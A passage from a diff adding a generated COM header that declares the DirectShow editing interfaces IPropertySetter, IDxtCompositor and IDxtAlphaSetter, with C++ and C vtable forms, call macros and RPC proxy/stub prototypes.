indent) = 0; + + }; + +#else /* C style interface */ + + typedef struct IPropertySetterVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IPropertySetter * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IPropertySetter * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IPropertySetter * This); + + HRESULT ( STDMETHODCALLTYPE *LoadXML )( + IPropertySetter * This, + /* [in] */ IUnknown *pxml); + + HRESULT ( STDMETHODCALLTYPE *PrintXML )( + IPropertySetter * This, + /* [out] */ char *pszXML, + /* [in] */ int cbXML, + /* [out] */ int *pcbPrinted, + /* [in] */ int indent); + + HRESULT ( STDMETHODCALLTYPE *CloneProps )( + IPropertySetter * This, + /* [out] */ IPropertySetter **ppSetter, + /* [in] */ REFERENCE_TIME rtStart, + /* [in] */ REFERENCE_TIME rtStop); + + HRESULT ( STDMETHODCALLTYPE *AddProp )( + IPropertySetter * This, + /* [in] */ DEXTER_PARAM Param, + /* [in] */ DEXTER_VALUE *paValue); + + HRESULT ( STDMETHODCALLTYPE *GetProps )( + IPropertySetter * This, + /* [out] */ LONG *pcParams, + /* [out] */ DEXTER_PARAM **paParam, + /* [out] */ DEXTER_VALUE **paValue); + + HRESULT ( STDMETHODCALLTYPE *FreeProps )( + IPropertySetter * This, + /* [in] */ LONG cParams, + /* [in] */ DEXTER_PARAM *paParam, + /* [in] */ DEXTER_VALUE *paValue); + + HRESULT ( STDMETHODCALLTYPE *ClearProps )( + IPropertySetter * This); + + HRESULT ( STDMETHODCALLTYPE *SaveToBlob )( + IPropertySetter * This, + /* [out] */ LONG *pcSize, + /* [out] */ BYTE **ppb); + + HRESULT ( STDMETHODCALLTYPE *LoadFromBlob )( + IPropertySetter * This, + /* [in] */ LONG cSize, + /* [in] */ BYTE *pb); + + HRESULT ( STDMETHODCALLTYPE *SetProps )( + IPropertySetter * This, + /* [in] */ IUnknown *pTarget, + /* [in] */ REFERENCE_TIME rtNow); + + HRESULT ( STDMETHODCALLTYPE *PrintXMLW )( + IPropertySetter * This, + /* [out] */ WCHAR *pszXML, + /* [in] */ int cchXML, + /* [out] */ int *pcchPrinted, + /* [in] */ int indent); + + END_INTERFACE + } IPropertySetterVtbl; + + interface IPropertySetter + { + CONST_VTBL struct IPropertySetterVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IPropertySetter_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IPropertySetter_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IPropertySetter_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IPropertySetter_LoadXML(This,pxml) \ + (This)->lpVtbl -> LoadXML(This,pxml) + +#define IPropertySetter_PrintXML(This,pszXML,cbXML,pcbPrinted,indent) \ + (This)->lpVtbl -> PrintXML(This,pszXML,cbXML,pcbPrinted,indent) + +#define IPropertySetter_CloneProps(This,ppSetter,rtStart,rtStop) \ + (This)->lpVtbl -> CloneProps(This,ppSetter,rtStart,rtStop) + +#define IPropertySetter_AddProp(This,Param,paValue) \ + (This)->lpVtbl -> AddProp(This,Param,paValue) + +#define IPropertySetter_GetProps(This,pcParams,paParam,paValue) \ + (This)->lpVtbl -> GetProps(This,pcParams,paParam,paValue) + +#define IPropertySetter_FreeProps(This,cParams,paParam,paValue) \ + (This)->lpVtbl -> FreeProps(This,cParams,paParam,paValue) + +#define IPropertySetter_ClearProps(This) \ + (This)->lpVtbl -> ClearProps(This) + +#define IPropertySetter_SaveToBlob(This,pcSize,ppb) \ + (This)->lpVtbl -> SaveToBlob(This,pcSize,ppb) + +#define IPropertySetter_LoadFromBlob(This,cSize,pb) \ + (This)->lpVtbl -> LoadFromBlob(This,cSize,pb) + +#define IPropertySetter_SetProps(This,pTarget,rtNow) \ + (This)->lpVtbl -> SetProps(This,pTarget,rtNow) + +#define IPropertySetter_PrintXMLW(This,pszXML,cchXML,pcchPrinted,indent) \ + (This)->lpVtbl -> PrintXMLW(This,pszXML,cchXML,pcchPrinted,indent) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IPropertySetter_LoadXML_Proxy( + IPropertySetter * This, + /* [in] */ IUnknown *pxml); + + +void __RPC_STUB IPropertySetter_LoadXML_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_PrintXML_Proxy( + IPropertySetter * This, + /* [out] */ char *pszXML, + /* [in] */ int cbXML, + /* [out] */ int *pcbPrinted, + /* [in] */ int indent); + + +void __RPC_STUB IPropertySetter_PrintXML_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_CloneProps_Proxy( + IPropertySetter * This, + /* [out] */ IPropertySetter **ppSetter, + /* [in] */ REFERENCE_TIME rtStart, + /* [in] */ REFERENCE_TIME rtStop); + + +void __RPC_STUB IPropertySetter_CloneProps_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_AddProp_Proxy( + IPropertySetter * This, + /* [in] */ DEXTER_PARAM Param, + /* [in] */ DEXTER_VALUE *paValue); + + +void __RPC_STUB IPropertySetter_AddProp_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_GetProps_Proxy( + IPropertySetter * This, + /* [out] */ LONG *pcParams, + /* [out] */ DEXTER_PARAM **paParam, + /* [out] */ DEXTER_VALUE **paValue); + + +void __RPC_STUB IPropertySetter_GetProps_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_FreeProps_Proxy( + IPropertySetter * This, + /* [in] */ LONG cParams, + /* [in] */ DEXTER_PARAM *paParam, + /* [in] */ DEXTER_VALUE *paValue); + + +void __RPC_STUB IPropertySetter_FreeProps_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_ClearProps_Proxy( + IPropertySetter * This); + + +void __RPC_STUB IPropertySetter_ClearProps_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_SaveToBlob_Proxy( + IPropertySetter * This, + /* [out] */ LONG *pcSize, + /* [out] */ BYTE **ppb); + + +void __RPC_STUB IPropertySetter_SaveToBlob_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_LoadFromBlob_Proxy( + IPropertySetter * This, + /* [in] */ LONG cSize, + /* [in] */ BYTE *pb); + + +void __RPC_STUB IPropertySetter_LoadFromBlob_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_SetProps_Proxy( + IPropertySetter * This, + /* [in] */ IUnknown *pTarget, + /* [in] */ REFERENCE_TIME rtNow); + + +void __RPC_STUB IPropertySetter_SetProps_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IPropertySetter_PrintXMLW_Proxy( + IPropertySetter * This, + /* [out] */ WCHAR *pszXML, + /* [in] */ int cchXML, + /* [out] */ int *pcchPrinted, + /* [in] */ int indent); + + +void __RPC_STUB IPropertySetter_PrintXMLW_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IPropertySetter_INTERFACE_DEFINED__ */ + + +#ifndef __IDxtCompositor_INTERFACE_DEFINED__ +#define __IDxtCompositor_INTERFACE_DEFINED__ + +/* interface IDxtCompositor */ +/* [unique][helpstring][dual][uuid][object] */ + + +EXTERN_C const IID IID_IDxtCompositor; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("BB44391E-6ABD-422f-9E2E-385C9DFF51FC") + IDxtCompositor : public IDXEffect + { + public: + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_OffsetX( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_OffsetX( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_OffsetY( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_OffsetY( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Width( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Width( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Height( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Height( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_SrcOffsetX( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_SrcOffsetX( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_SrcOffsetY( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_SrcOffsetY( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_SrcWidth( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_SrcWidth( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_SrcHeight( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_SrcHeight( + /* [in] */ long newVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDxtCompositorVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDxtCompositor * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDxtCompositor * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDxtCompositor * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IDxtCompositor * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IDxtCompositor * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IDxtCompositor * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IDxtCompositor * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( + IDxtCompositor * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( + IDxtCompositor * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( + IDxtCompositor * This, + /* [retval][out] */ float *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + IDxtCompositor * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + IDxtCompositor * This, + /* [in] */ float newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_OffsetX )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_OffsetX )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_OffsetY )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_OffsetY )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Width )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Width )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Height )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Height )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SrcOffsetX )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SrcOffsetX )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SrcOffsetY )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SrcOffsetY )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SrcWidth )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SrcWidth )( + IDxtCompositor * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SrcHeight )( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SrcHeight )( + IDxtCompositor * This, + /* [in] */ long newVal); + + END_INTERFACE + } IDxtCompositorVtbl; + + interface IDxtCompositor + { + CONST_VTBL struct IDxtCompositorVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDxtCompositor_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDxtCompositor_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDxtCompositor_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDxtCompositor_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IDxtCompositor_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IDxtCompositor_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IDxtCompositor_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IDxtCompositor_get_Capabilities(This,pVal) \ + (This)->lpVtbl -> get_Capabilities(This,pVal) + +#define IDxtCompositor_get_Progress(This,pVal) \ + (This)->lpVtbl -> get_Progress(This,pVal) + +#define IDxtCompositor_put_Progress(This,newVal) \ + (This)->lpVtbl -> put_Progress(This,newVal) + +#define IDxtCompositor_get_StepResolution(This,pVal) \ + (This)->lpVtbl -> get_StepResolution(This,pVal) + +#define IDxtCompositor_get_Duration(This,pVal) \ + (This)->lpVtbl -> get_Duration(This,pVal) + +#define IDxtCompositor_put_Duration(This,newVal) \ + (This)->lpVtbl -> put_Duration(This,newVal) + + +#define IDxtCompositor_get_OffsetX(This,pVal) \ + (This)->lpVtbl -> get_OffsetX(This,pVal) + +#define IDxtCompositor_put_OffsetX(This,newVal) \ + (This)->lpVtbl -> put_OffsetX(This,newVal) + +#define IDxtCompositor_get_OffsetY(This,pVal) \ + (This)->lpVtbl -> get_OffsetY(This,pVal) + +#define IDxtCompositor_put_OffsetY(This,newVal) \ + (This)->lpVtbl -> put_OffsetY(This,newVal) + +#define IDxtCompositor_get_Width(This,pVal) \ + (This)->lpVtbl -> get_Width(This,pVal) + +#define IDxtCompositor_put_Width(This,newVal) \ + (This)->lpVtbl -> put_Width(This,newVal) + +#define IDxtCompositor_get_Height(This,pVal) \ + (This)->lpVtbl -> get_Height(This,pVal) + +#define IDxtCompositor_put_Height(This,newVal) \ + (This)->lpVtbl -> put_Height(This,newVal) + +#define IDxtCompositor_get_SrcOffsetX(This,pVal) \ + (This)->lpVtbl -> get_SrcOffsetX(This,pVal) + +#define IDxtCompositor_put_SrcOffsetX(This,newVal) \ + (This)->lpVtbl -> put_SrcOffsetX(This,newVal) + +#define IDxtCompositor_get_SrcOffsetY(This,pVal) \ + (This)->lpVtbl -> get_SrcOffsetY(This,pVal) + +#define IDxtCompositor_put_SrcOffsetY(This,newVal) \ + (This)->lpVtbl -> put_SrcOffsetY(This,newVal) + +#define IDxtCompositor_get_SrcWidth(This,pVal) \ + (This)->lpVtbl -> get_SrcWidth(This,pVal) + +#define IDxtCompositor_put_SrcWidth(This,newVal) \ + (This)->lpVtbl -> put_SrcWidth(This,newVal) + +#define IDxtCompositor_get_SrcHeight(This,pVal) \ + (This)->lpVtbl -> get_SrcHeight(This,pVal) + +#define IDxtCompositor_put_SrcHeight(This,newVal) \ + (This)->lpVtbl -> put_SrcHeight(This,newVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_OffsetX_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_OffsetX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_OffsetX_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_OffsetX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_OffsetY_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_OffsetY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_OffsetY_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_OffsetY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_Width_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_Width_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_Width_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_Width_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_Height_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_Height_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_Height_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_Height_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_SrcOffsetX_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_SrcOffsetX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_SrcOffsetX_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_SrcOffsetX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_SrcOffsetY_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_SrcOffsetY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_SrcOffsetY_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_SrcOffsetY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_SrcWidth_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_SrcWidth_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_SrcWidth_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_SrcWidth_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_get_SrcHeight_Proxy( + IDxtCompositor * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtCompositor_get_SrcHeight_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtCompositor_put_SrcHeight_Proxy( + IDxtCompositor * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtCompositor_put_SrcHeight_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDxtCompositor_INTERFACE_DEFINED__ */ + + +#ifndef __IDxtAlphaSetter_INTERFACE_DEFINED__ +#define __IDxtAlphaSetter_INTERFACE_DEFINED__ + +/* interface IDxtAlphaSetter */ +/* [unique][helpstring][dual][uuid][object] */ + + +EXTERN_C const IID IID_IDxtAlphaSetter; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("4EE9EAD9-DA4D-43d0-9383-06B90C08B12B") + IDxtAlphaSetter : public IDXEffect + { + public: + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Alpha( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Alpha( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_AlphaRamp( + /* [retval][out] */ double *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_AlphaRamp( + /* [in] */ double newVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDxtAlphaSetterVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDxtAlphaSetter * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDxtAlphaSetter * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDxtAlphaSetter * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IDxtAlphaSetter * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IDxtAlphaSetter * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IDxtAlphaSetter * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IDxtAlphaSetter * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( + IDxtAlphaSetter * This, + /* [retval][out] */ long *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( + IDxtAlphaSetter * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( + IDxtAlphaSetter * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( + IDxtAlphaSetter * This, + /* [retval][out] */ float *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + IDxtAlphaSetter * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + IDxtAlphaSetter * This, + /* [in] */ float newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Alpha )( + IDxtAlphaSetter * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Alpha )( + IDxtAlphaSetter * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlphaRamp )( + IDxtAlphaSetter * This, + /* [retval][out] */ double *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlphaRamp )( + IDxtAlphaSetter * This, + /* [in] */ double newVal); + + END_INTERFACE + } IDxtAlphaSetterVtbl; + + interface 